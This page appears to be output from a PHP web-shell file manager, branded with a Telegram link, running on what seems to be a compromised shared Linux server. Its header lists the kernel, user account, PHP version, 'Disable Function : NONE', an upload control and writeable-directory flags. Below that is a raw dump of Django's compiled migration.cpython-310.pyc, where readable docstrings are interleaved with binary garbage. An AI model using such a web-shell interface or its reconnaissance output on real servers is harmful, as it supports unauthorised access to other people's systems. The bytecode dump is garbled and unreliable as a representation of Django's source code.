https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/db/migrations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/db/migrations/__pycache__/migration.cpython-310.pyc
o

3�a�#�@sZddlmZddlmZddlmZddlmZGdd�d�ZGdd	�d	e	�Z
d
d�ZdS)
�)�
operations)�get_migration_name_timestamp)�atomic�)�IrreversibleErrorc@sveZdZdZgZgZgZgZdZdZ	dd�Z
dd�Zdd	�Zd
d�Z
dd
�Zddd�Zddd�Zddd�Zdd�ZdS)�	Migrationa�
    The base class for all migrations.

    Migration files will import this from django.db.migrations.Migration
    and subclass it as a class called Migration. It will have one or more
    of the following attributes:

     - operations: A list of Operation instances, probably from django.db.migrations.operations
     - dependencies: A list of tuples of (app_path, migration_name)
     - run_before: A list of tuples of (app_path, migration_name)
     - replaces: A list of migration_names

    Note that all migrations come out of migrations and into the Loader or
    Graph as instances, having been initialized with their app label and name.
    NTcCsH||_||_t|jj�|_t|jj�|_t|jj�|_t|jj�|_dS�N)�name�	app_label�list�	__class__r�dependencies�
run_before�replaces)�selfr	r
�r�@/usr/lib/python3/dist-packages/django/db/migrations/migration.py�__init__5szMigration.__init__cCs"t|t�o|j|jko|j|jkSr)�
isinstancerr	r
)r�otherrrr�__eq__>s


�
�zMigration.__eq__cC�d|j|jfS)Nz<Migration %s.%s>�r
r	�rrrr�__repr__E�zMigration.__repr__cCr�Nz%s.%srrrrr�__str__HrzMigration.__str__cCstd|j|jf�Sr)�hashr
r	rrrr�__hash__KszMigration.__hash__cCs.|}|r|��}|jD]	}|�|j|�q|S)z�
        Take a ProjectState and return a new one with the migration's
        operations applied to it. Preserve the original object state by
        default and return a mutated state from a copy.
        )�cloner�state_forwardsr
)r�
project_state�preserve�	new_state�	operationrrr�mutate_stateNs
zMigration.mutate_stateFc	Cs�|jD]k}|r*|j�d�|js|j�d�|j�d|���|j�d�|js*q|��}|�|j|�|jp?|jo?|jdu}|j	se|ret|j
j��|�|j|||�Wd�n1s_wYq|�|j|||�q|S)a
        Take a project_state representing all migrations prior to this one
        and a schema_editor for a live database and apply the migration
        in a forwards order.

        Return the resulting project state for efficient reuse by following
        Migrations.
        �--�B-- MIGRATION NOW PERFORMS OPERATION THAT CANNOT BE WRITTEN AS SQL:�-- %sFN)
r�
collected_sql�append�reduces_to_sql�describer r!r
r�atomic_migration�
connection�alias�database_forwards)rr"�
schema_editor�collect_sqlr%�	old_state�atomic_operationrrr�apply\s*
	�
��zMigration.applyc	Cs*g}|}|jD]%}|jstd||f��|��}|��}|�|j|�|�d|||f�q|D]c\}}}	|rY|j�d�|j	sE|j�d�|j�d|�
��|j�d�|j	sYq/|jpc|joc|jdu}
|js�|
r�t|j
j��|�|j||	|�Wd�n1s�wYq/|�|j||	|�q/|S)a�
        Take a project_state representing all migrations prior to this one
        and a schema_editor for a live database and apply the migration
        in a reverse order.

        The backwards migration process consists of two phases:

        1. The intermediate states from right before the first until right
           after the last operation inside this migration are preserved.
        2. The operations are applied in reverse order using the states
           recorded in step 1.
        z$Operation %s in %s is not reversiblerr'r(r)FN)r�
reversiblerr r!r
�insertr*r+r,r-rr.r/r0�database_backwards)rr"r2r3�to_runr$r%r4�to_state�
from_stater5rrr�unapply�s8
�
��zMigration.unapplycCs|d}t|j�dkr|jdj}nt|j�dkr.tdd�|jD��r.d�tdd�|jD���}|dur<|jr7dnd	t�}|S)
z�
        Suggest a name for the operations this migration might represent. Names
        are not guaranteed to be unique, but put some effort into the fallback
        name to avoid VCS conflicts if possible.
        Nrrcss�|]	}t|tj�VqdSr)rr�CreateModel��.0�orrr�	<genexpr>�s�z)Migration.suggest_name.<locals>.<genexpr>�_css�|]}|jVqdSr)�migration_name_fragmentr?rrrrB�s��initialzauto_%s)�lenrrD�all�join�sortedrEr)rr	rrr�suggest_name�s�zMigration.suggest_name)T)F)�__name__�
__module__�__qualname__�__doc__rr
rrrErrrrrrr&r6r=rJrrrrrs"	


%3rc@seZdZdZdd�ZdS)�SwappableTuplez
    Subclass of tuple so Django can tell this was originally a swappable
    dependency when it reads the migration file.
    cCst�||�}||_|Sr)�tuple�__new__�setting)�cls�valuerRrrrrrQ�szSwappableTuple.__new__N)rKrLrMrNrQrrrrrO�srOcCst|�dd�ddf|�S)z'Turn a setting value into a dependency.�.rr�	__first__)rO�split)rTrrr�swappable_dependency�srXN)�django.db.migrationsr�django.db.migrations.utilsr�django.db.transactionr�
exceptionsrrrPrOrXrrrr�<module>s@

https://t.me/RX1948 - 2025